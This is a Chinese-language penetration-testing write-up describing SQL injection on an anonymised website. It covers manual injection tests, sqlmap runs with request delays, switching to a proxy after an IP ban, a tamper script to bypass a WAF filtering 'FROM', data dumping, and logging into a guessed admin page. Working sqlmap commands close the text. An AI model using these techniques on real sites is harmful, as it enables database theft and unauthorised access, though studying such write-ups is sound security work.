判断注入点
输入'--> 报错 输入''--> 回显正常 可以确定是使用单引号闭合的 输入' and '1'='1 --> 回显正常, 可以查询到数据 输入' and '1'='2 --> 回显正常, 但未查询到数据 可以确定存在注入 接下来就是跑数据, 直接掏出sqlmap 一片红!!! nice 再次访问IP已经被封掉了 根据经验推测应该是因为访问过于频繁导致的 开代理换个IP, 加个延时参数继续 OK, 成功跑出注入点 查询当前数据库用户权限, 不是高权限, 所以只能去找Web后台管理员账号密码 查询当前数据库, 成功 查询表, 失败 嗯??? nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 显示Payload, 看看是哪句被拦截了 可以看到第一次被拦截的payload 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 手工模糊测试, 发现被拦截的为关键字: FROM 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字, 很遗憾没找到 然后考虑尝试使用编码, 注释类的脚本去过, 经过反复测试, 成功绕过 查询tamper脚本的相关文章链接: https://www.freebuf.com/sectool/179035.html 接下来就简单多了 查询表--tables 查询列--columns 查询数据--dump sqlmap跑数据的同时, 我去找了下后台 因为限制了访问速度, 所以这里我没有选择用御剑等工具去扫, 一般情况下可以先去做下目录扫描 看看有没有robots.txt文件, 404 搜索引擎搜索一波 找到一个会员登录的页面: http://www.xxx.com/login.aspx 额..., 一看会员登录是这种文件名, 管理员后台也不会难找到哪里去 顺手在login.aspx前加了个admin http://www.xxx.com/admin/login.aspx 特么的就访问成功了... 所以这里我得出了一个重要的结论: 运气好等于成功了一半 (手动滑稽) 成功登录, 至此测试结束 这里不再进行深入测试Sqlmap -u "http://www.xxx.com?id=2" --batch
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --is-dba
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --current-db
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3 --tamper=halfversionedmorekeywords
文由安全小圈